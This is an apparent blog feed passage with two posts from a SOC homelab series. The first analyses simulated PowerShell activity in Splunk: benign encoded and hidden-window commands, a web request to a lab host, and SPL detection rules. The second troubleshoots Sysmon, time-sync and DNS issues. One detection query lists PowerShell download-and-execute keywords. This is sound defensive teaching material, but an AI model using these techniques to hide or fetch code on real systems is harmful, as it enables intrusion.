&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;powershell.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-EncodedCommand&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;JABsAGEAYgAgAD0AIAAiAFMATwBDACAATABhAGIAIABUAGUAcwB0ACIACgBHAGUAdAAtAEQAYQB0AGUACgBHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMwAgAE4AYQBtAGUALAAgAEkAZAAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABsAGEAYgA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab3\powershell1.png&quot; alt=&quot;powershell1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After running the command, I confirmed that Event ID 4104 was being generated. However, although the raw event clearly contained the executed script, Splunk was not extracting it into a dedicated field. As a result, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ScriptBlock&lt;/code&gt; column remained empty, making it difficult to search or build detections based on the executed PowerShell code.&lt;/p&gt;

&lt;p&gt;Inspecting the raw event showed that the script was stored inside the &lt;strong&gt;Message&lt;/strong&gt; field:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Creating Scriptblock text (1 of 1):

$lab = &quot;SOC Lab Test&quot;
Get-Date
Get-Process | Select-Object -First 3 Name, Id
Write-Output $lab

ScriptBlock ID:
866c089a-d9e0-4827-ac58-9216f2207326
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To make the script contents searchable, I created a custom field extraction in Splunk using the following regular expression:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;(?s)Creating Scriptblock text \(\d+ of \d+\):\s*(?&amp;lt;ScriptBlock&amp;gt;.*?)\s*ScriptBlock ID:
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This extraction captures everything between &lt;strong&gt;“Creating Scriptblock text”&lt;/strong&gt; and &lt;strong&gt;“ScriptBlock ID”&lt;/strong&gt;, storing the result in a new field named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ScriptBlock&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Once the extraction was configured, the executed PowerShell code became directly searchable, allowing me to build detections against the script contents rather than performing text searches against the entire Message field.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab3\powershell2.png&quot; alt=&quot;powershell2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;During testing, I also observed that a single PowerShell command generated multiple Event ID 4104 entries. Besides logging the decoded script itself, PowerShell also recorded internal script blocks such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prompt&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$global:?&lt;/code&gt;, and formatting-related code. This occurs because Script Block Logging records every script block compiled by the PowerShell engine, including internal operations performed by the interactive PowerShell session. Understanding this behavior is important during investigations, as not every 4104 event represents user-authored code.&lt;/p&gt;

&lt;h3 id=&quot;5-correlating-powershell-and-network-activity&quot;&gt;5. Correlating PowerShell and Network Activity&lt;/h3&gt;

&lt;p&gt;Using Sysmon Event ID 3 (Network Connection), I investigated outbound network connections initiated by PowerShell.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=3 Image=&quot;*powershell.exe&quot;
| table _time host User DestinationIp DestinationPort
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab3\query4.png&quot; alt=&quot;query4.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;soc-investigation-report&quot;&gt;SOC Investigation Report&lt;/h2&gt;

&lt;h3 id=&quot;incident-summary&quot;&gt;Incident Summary&lt;/h3&gt;

&lt;p&gt;Suspicious PowerShell activity was detected on a Windows 11 workstation. The activity included encoded command execution, hidden PowerShell execution, and subsequent network connections.&lt;/p&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2026-06-19 15:25:04&lt;/strong&gt; – PowerShell launched&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2026-06-19 15:26:50&lt;/strong&gt; – Encoded PowerShell command detected&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2026-06-19 15:29:43&lt;/strong&gt; – Hidden PowerShell execution detected&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2026-06-19 15:34:55&lt;/strong&gt; – Network connection #1 detected&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2026-06-19 15:37:37&lt;/strong&gt; – Network connection #2 detected&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;improving-the-lab&quot;&gt;Improving the Lab&lt;/h3&gt;

&lt;p&gt;During a later review of my lab, I wanted to take advantage of PowerShell Script Block Logging (Event ID 4104). While the events were being collected successfully, I discovered that Splunk was not extracting the executed PowerShell code into a dedicated field. I created a custom field extraction to expose the script contents, making future detections and investigations significantly easier.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;findings&quot;&gt;Findings&lt;/h2&gt;

&lt;h3 id=&quot;process-analysis&quot;&gt;Process Analysis&lt;/h3&gt;

&lt;p&gt;The following encoded PowerShell execution was observed:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;powershell.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-EncodedCommand&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ZQBjAGgAbwAgACIAUwBPAEMAIABMAGEAYgAgAFQAZQBzAHQAIgA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Encoded PowerShell commands use Base64 encoding to obscure command content. While encoding is not inherently malicious, it is frequently used by attackers to evade basic detections and conceal intent.&lt;/p&gt;

&lt;p&gt;A second PowerShell execution attempted to hide the PowerShell window from the user:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;powershell.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-WindowStyle&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Hidden&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Command&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;echo &apos;hidden test&apos;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hidden execution is commonly observed in malware, administrative scripts, and offensive tooling where visibility is intentionally reduced.&lt;/p&gt;

&lt;p&gt;The following network-related PowerShell commands were also executed:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Test-NetConnection&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;192.168.10.10&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Port&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;445&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This command tests connectivity and is commonly used for troubleshooting and administrative tasks.&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;http://192.168.30.10:8000&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Invoke-WebRequest is widely used by administrators and automation scripts, but it is also frequently abused by attackers to download payloads, retrieve scripts, or communicate with external resources.&lt;/p&gt;

&lt;h3 id=&quot;powershell-script-analysis&quot;&gt;PowerShell Script Analysis&lt;/h3&gt;

&lt;p&gt;After configuring a custom field extraction for Event ID 4104, I was able to review in Splunk the decoded PowerShell script executed by the PowerShell engine.&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$lab&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;SOC Lab Test&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-Date&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-Process&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Select-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-First&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Id&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Write-Output&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$lab&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Script Block Logging provides visibility into the PowerShell code after it has been parsed, allowing analysts to inspect the actual commands executed even when PowerShell is launched with encoded input.&lt;/p&gt;

&lt;h3 id=&quot;network-analysis&quot;&gt;Network Analysis&lt;/h3&gt;

&lt;p&gt;Network activity occurred shortly after PowerShell execution, indicating a relationship between process execution and outbound network connections.&lt;/p&gt;

&lt;h4 id=&quot;connection-1&quot;&gt;Connection 1&lt;/h4&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Destination: 192.168.10.10:445
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Connection to the Active Directory server over SMB. The observed command suggests legitimate network connectivity testing.&lt;/p&gt;

&lt;h4 id=&quot;connection-2&quot;&gt;Connection 2&lt;/h4&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Destination: 192.168.30.10:8000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Connection initiated through Invoke-WebRequest. While benign in this lab environment, similar activity may warrant further investigation in a production environment because attackers frequently use PowerShell for web-based payload retrieval and command execution.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;severity-assessment&quot;&gt;Severity Assessment&lt;/h2&gt;

&lt;h3 id=&quot;medium&quot;&gt;Medium&lt;/h3&gt;

&lt;p&gt;Encoded PowerShell execution, hidden execution parameters, and associated network activity are all techniques commonly observed during attacker operations.&lt;/p&gt;

&lt;p&gt;Although the activity in this investigation was generated as part of a controlled lab exercise, similar behavior in a production environment would warrant analyst review to determine user intent and identify potential malicious activity.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;recommended-actions&quot;&gt;Recommended Actions&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Validate user intent and business justification.&lt;/li&gt;
  &lt;li&gt;Review PowerShell command content.&lt;/li&gt;
  &lt;li&gt;Investigate related process activity.&lt;/li&gt;
  &lt;li&gt;Examine network connections initiated by PowerShell.&lt;/li&gt;
  &lt;li&gt;Search for similar executions across other endpoints.&lt;/li&gt;
  &lt;li&gt;Review parent-child process relationships for signs of suspicious execution chains.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detection-rules&quot;&gt;Detection Rules&lt;/h2&gt;

&lt;h3 id=&quot;suspicious-powershell-execution-parameters&quot;&gt;Suspicious PowerShell Execution Parameters&lt;/h3&gt;

&lt;p&gt;This detection identifies PowerShell executions containing encoded commands or hidden execution parameters.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=* EventCode=1 Image=&quot;*powershell.exe&quot;
(CommandLine=&quot;*-EncodedCommand*&quot;
OR CommandLine=&quot;*-WindowStyle Hidden*&quot;)
| stats count by host User CommandLine ParentImage
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;suspicious-powershell-script-blocks&quot;&gt;Suspicious PowerShell Script Blocks&lt;/h3&gt;

&lt;p&gt;This detection uses PowerShell Script Block Logging (Event ID 4104) to identify commonly abused PowerShell functions within executed script blocks.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=* sourcetype=&quot;WinEventLog:Microsoft-Windows-PowerShell/Operational&quot;
EventCode=4104
(
ScriptBlock=&quot;*Invoke-WebRequest*&quot;
OR ScriptBlock=&quot;*Invoke-Expression*&quot;
OR ScriptBlock=&quot;*DownloadString*&quot;
OR ScriptBlock=&quot;*FromBase64String*&quot;
OR ScriptBlock=&quot;*Net.WebClient*&quot;
)
| stats count by host User ScriptBlock
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Together, these detections combine &lt;strong&gt;Sysmon process telemetry&lt;/strong&gt; with &lt;strong&gt;PowerShell Operational logging&lt;/strong&gt;, improving visibility into both &lt;strong&gt;how PowerShell was launched&lt;/strong&gt; and &lt;strong&gt;what code it executed&lt;/strong&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;mitre-attck-mapping&quot;&gt;MITRE ATT&amp;amp;CK Mapping&lt;/h2&gt;

&lt;p&gt;The simulated activity aligns with several MITRE ATT&amp;amp;CK techniques commonly observed during investigations:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1059/001/&quot;&gt;T1059.001 – PowerShell&lt;/a&gt;&lt;/strong&gt;
Execution of PowerShell commands on the endpoint.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1027/&quot;&gt;T1027 – Obfuscated/Encoded Files and Information&lt;/a&gt;&lt;/strong&gt;
Use of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-EncodedCommand&lt;/code&gt; parameter to conceal command content.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1105/&quot;&gt;T1105 – Ingress Tool Transfer&lt;/a&gt;&lt;/strong&gt;
Use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Invoke-WebRequest&lt;/code&gt; to retrieve content over HTTP.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;While the activity in this lab was benign, these techniques are frequently observed in real-world attacks and are useful candidates for detection and monitoring.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;lessons-learned&quot;&gt;Lessons Learned&lt;/h2&gt;

&lt;p&gt;This exercise demonstrated how endpoint telemetry from Sysmon and PowerShell logging can be correlated in Splunk to investigate suspicious activity.&lt;/p&gt;

&lt;p&gt;By analyzing process creation events, command-line arguments, parent processes, and network connections, I was able to identify common PowerShell abuse techniques and create a simple detection rule that could assist SOC analysts during triage and investigation.&lt;/p&gt;

&lt;p&gt;The lab also reinforced the importance of combining multiple telemetry sources to build context around potentially suspicious behavior rather than relying on a single event in isolation.&lt;/p&gt;
</description>
        <pubDate>Tue, 23 Jun 2026 05:00:00 +0000</pubDate>
        <link>https://citadelcybersec.github.io/investigating-suspicious-powerShell-activity-with-splunk</link>
        <guid isPermaLink="true">https://citadelcybersec.github.io/investigating-suspicious-powerShell-activity-with-splunk</guid>
        
        <category>homelab</category>
        
        <category>soc-lab</category>
        
        <category>cybersecurity-lab</category>
        
        <category>splunk</category>
        
        <category>powershell</category>
        
        
      </item>
    
      <item>
        <title>6 Real Problems I Solved While Building My SOC Homelab</title>
        <description>&lt;h1 id=&quot;6-real-problems-i-solved-while-building-my-soc-homelab&quot;&gt;6 Real Problems I Solved While Building My SOC Homelab&lt;/h1&gt;

&lt;h3 id=&quot;root-cause-analysis-fixes-and-lessons-learned-during-my-soc-homelab-deployment&quot;&gt;Root Cause Analysis, Fixes and Lessons Learned During My SOC Homelab Deployment&lt;/h3&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Building a SOC homelab is often presented as a straightforward process: install a few virtual machines, configure logging, connect everything to a SIEM, and start investigating events.&lt;/p&gt;

&lt;p&gt;In reality, the deployment process involved far more troubleshooting than installation.&lt;/p&gt;

&lt;p&gt;Throughout the project I encountered multiple issues affecting log collection, DNS resolution, network segmentation, time synchronization, endpoint visibility, and Splunk ingestion. Each problem required investigation, validation, and remediation before the environment became operational.&lt;/p&gt;

&lt;p&gt;This article documents the most valuable challenges I faced and the lessons learned while solving them.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;challenge-1-missing-sysmon-logs-in-splunk&quot;&gt;Challenge 1: Missing Sysmon Logs in Splunk&lt;/h1&gt;

&lt;h2 id=&quot;the-problem&quot;&gt;The Problem&lt;/h2&gt;

&lt;p&gt;After installing Sysmon on both the Active Directory server and the Windows 11 workstation, I expected to see Sysmon events flowing into Splunk.&lt;/p&gt;

&lt;p&gt;Instead, only the standard Windows Event Logs were being received.&lt;/p&gt;

&lt;p&gt;The following log sources appeared normally:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Security&lt;/li&gt;
  &lt;li&gt;System&lt;/li&gt;
  &lt;li&gt;Application&lt;/li&gt;
  &lt;li&gt;PowerShell&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, Sysmon events were completely absent.&lt;/p&gt;

&lt;p&gt;This represented a significant visibility gap because Sysmon provides many of the endpoint telemetry sources commonly used for threat detection and investigations.&lt;/p&gt;

&lt;h2 id=&quot;investigation&quot;&gt;Investigation&lt;/h2&gt;

&lt;p&gt;I started by determining whether the issue originated at the endpoint or somewhere within the logging pipeline.&lt;/p&gt;

&lt;p&gt;Using Event Viewer, I confirmed that Sysmon was successfully generating events locally. Since the events existed on the endpoint, I ruled out installation and configuration issues with Sysmon itself.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab2/sysmon01.png&quot; alt=&quot;sysmon01.png&quot; /&gt;
&lt;em&gt;Sysmon logs visible in Event Viewer&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Next, I reviewed the Splunk Universal Forwarder configuration and verified that the Sysmon Operational log channel had been included alongside the Security, System, and Application logs.&lt;/p&gt;

&lt;p&gt;Because the standard Windows logs were arriving in Splunk successfully, I eliminated network connectivity and forwarding configuration as likely causes and focused my investigation on permissions affecting access to the Sysmon log source.&lt;/p&gt;

&lt;h2 id=&quot;root-cause&quot;&gt;Root Cause&lt;/h2&gt;

&lt;p&gt;The Splunk Universal Forwarder service was running under an account that did not have sufficient permissions to access the Sysmon Operational log channel.&lt;/p&gt;

&lt;p&gt;As a result, the forwarder could successfully read standard event logs but could not access Sysmon events.&lt;/p&gt;

&lt;h2 id=&quot;resolution&quot;&gt;Resolution&lt;/h2&gt;

&lt;p&gt;I modified the service configuration and changed the account used by the Splunk Universal Forwarder.&lt;/p&gt;

&lt;p&gt;After restarting the service, Sysmon events immediately began appearing in Splunk.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab2/sysmon02.png&quot; alt=&quot;sysmon02.png&quot; /&gt;
&lt;em&gt;Sysmon logs appearing in Splunk after fix&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;validation&quot;&gt;Validation&lt;/h2&gt;

&lt;p&gt;After restarting the Splunk Universal Forwarder service, Sysmon events began appearing in Splunk as expected.&lt;/p&gt;

&lt;p&gt;I verified the successful ingestion of process creation events and confirmed that new endpoint activity was being captured correctly.&lt;/p&gt;

&lt;h2 id=&quot;lesson-learned&quot;&gt;Lesson Learned&lt;/h2&gt;

&lt;p&gt;When troubleshooting missing logs, it is important to verify:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The events are generated locally.&lt;/li&gt;
  &lt;li&gt;The collection agent can access the source.&lt;/li&gt;
  &lt;li&gt;The forwarding process is functioning correctly.&lt;/li&gt;
  &lt;li&gt;The SIEM is receiving the data.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Visibility problems often originate from permissions rather than application failures.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;challenge-2-time-synchronization-across-multiple-systems&quot;&gt;Challenge 2: Time Synchronization Across Multiple Systems&lt;/h1&gt;

&lt;h2 id=&quot;the-problem-1&quot;&gt;The Problem&lt;/h2&gt;

&lt;p&gt;As additional systems were added to the lab, event timestamps became inconsistent.&lt;/p&gt;

&lt;p&gt;When reviewing events in Splunk, some records appeared out of sequence even though they were related to the same activity.&lt;/p&gt;

&lt;p&gt;This made correlation and timeline analysis difficult.&lt;/p&gt;

&lt;h2 id=&quot;investigation-1&quot;&gt;Investigation&lt;/h2&gt;

&lt;p&gt;The issue first became apparent while reviewing events in Splunk. Activities that should have appeared sequentially were sometimes displayed out of order, making correlation more difficult.&lt;/p&gt;

&lt;p&gt;To identify the source of the problem, I compared timestamps across pfSense, Debian, Windows Server, and Windows 11.&lt;/p&gt;

&lt;p&gt;Because the issue affected multiple systems simultaneously, I suspected a configuration inconsistency rather than an isolated clock problem. Reviewing the time settings confirmed differences in synchronization methods and timezone configuration between systems.&lt;/p&gt;

&lt;h2 id=&quot;root-cause-1&quot;&gt;Root Cause&lt;/h2&gt;

&lt;p&gt;The systems were using different synchronization mechanisms and time zone configurations.&lt;/p&gt;

&lt;p&gt;Virtualized environments can also introduce clock drift if synchronization is not configured consistently.&lt;/p&gt;

&lt;h2 id=&quot;resolution-1&quot;&gt;Resolution&lt;/h2&gt;

&lt;p&gt;I standardized:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Time zones&lt;/li&gt;
  &lt;li&gt;Time synchronization settings&lt;/li&gt;
  &lt;li&gt;System clocks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After normalizing the configuration across all systems, event timestamps aligned correctly.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab2/timesync2.png&quot; alt=&quot;timesync2.png&quot; /&gt;
&lt;em&gt;All systems synchronized&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;lesson-learned-1&quot;&gt;Lesson Learned&lt;/h2&gt;

&lt;p&gt;Accurate timestamps are critical for:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Incident investigations&lt;/li&gt;
  &lt;li&gt;Event correlation&lt;/li&gt;
  &lt;li&gt;Detection engineering&lt;/li&gt;
  &lt;li&gt;Threat hunting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A SIEM is only as reliable as the timestamps of the data it receives.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;challenge-3-designing-a-controlled-dns-architecture&quot;&gt;Challenge 3: Designing a Controlled DNS Architecture&lt;/h1&gt;

&lt;h2 id=&quot;the-problem-2&quot;&gt;The Problem&lt;/h2&gt;

&lt;p&gt;One of my goals was to emulate a more realistic enterprise environment.&lt;/p&gt;

&lt;p&gt;Initially, clients could potentially resolve DNS externally instead of relying on Active Directory.&lt;/p&gt;

&lt;p&gt;This would reduce visibility and bypass centralized name resolution.&lt;/p&gt;

&lt;h2 id=&quot;investigation-2&quot;&gt;Investigation&lt;/h2&gt;

&lt;p&gt;My goal was to ensure that all DNS activity followed a predictable path through the environment.&lt;/p&gt;

&lt;p&gt;I reviewed the DNS configuration on the workstation, domain controller, and pfSense firewall and mapped the flow of requests between each component.&lt;/p&gt;

&lt;p&gt;This process allowed me to verify where name resolution was occurring and identify any opportunities for clients to bypass the intended DNS architecture.&lt;/p&gt;

&lt;h2 id=&quot;resolution-2&quot;&gt;Resolution&lt;/h2&gt;

&lt;p&gt;I configured Active Directory as the primary DNS server for all Windows systems.&lt;/p&gt;

&lt;p&gt;I then configured DNS forwarding from Active Directory to pfSense.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab2/dns-forwarder.png&quot; alt=&quot;dns-forwarder.png&quot; /&gt;
&lt;em&gt;DNS Forwarder configuration on AD&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Finally, I created firewall rules on pfSense to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Allow DNS traffic to Active Directory&lt;/li&gt;
  &lt;li&gt;Block DNS traffic to all other DNS destinations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab2/fwrule01.png&quot; alt=&quot;fwrule01.png&quot; /&gt;
&lt;em&gt;Firewall rule allowing DNS queries from WORKSTATIONS subnet to Active Directory’s IP&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;outcome&quot;&gt;Outcome&lt;/h2&gt;

&lt;p&gt;The resulting architecture ensured:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Centralized DNS visibility&lt;/li&gt;
  &lt;li&gt;Proper Active Directory functionality&lt;/li&gt;
  &lt;li&gt;Consistent name resolution&lt;/li&gt;
  &lt;li&gt;Enterprise-style DNS behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;lesson-learned-2&quot;&gt;Lesson Learned&lt;/h2&gt;

&lt;p&gt;Security monitoring improves when network services follow predictable and controlled paths.&lt;/p&gt;

&lt;p&gt;The more telemetry that can be centralized, the easier investigations become.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;challenge-4-implementing-network-segmentation-and-firewall-policies&quot;&gt;Challenge 4: Implementing Network Segmentation and Firewall Policies&lt;/h1&gt;

&lt;h2 id=&quot;the-problem-3&quot;&gt;The Problem&lt;/h2&gt;

&lt;p&gt;The initial version of the lab was deployed within a single subnet. While this simplified connectivity, it did not accurately reflect how enterprise environments are typically structured.&lt;/p&gt;

&lt;p&gt;A flat network also reduced opportunities to practice firewall management, network troubleshooting, and the analysis of blocked communications.&lt;/p&gt;

&lt;p&gt;To create a more realistic environment, I decided to separate the infrastructure into dedicated network segments:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SERVERS — Active Directory and DNS&lt;/li&gt;
  &lt;li&gt;WORKSTATIONS — User endpoints&lt;/li&gt;
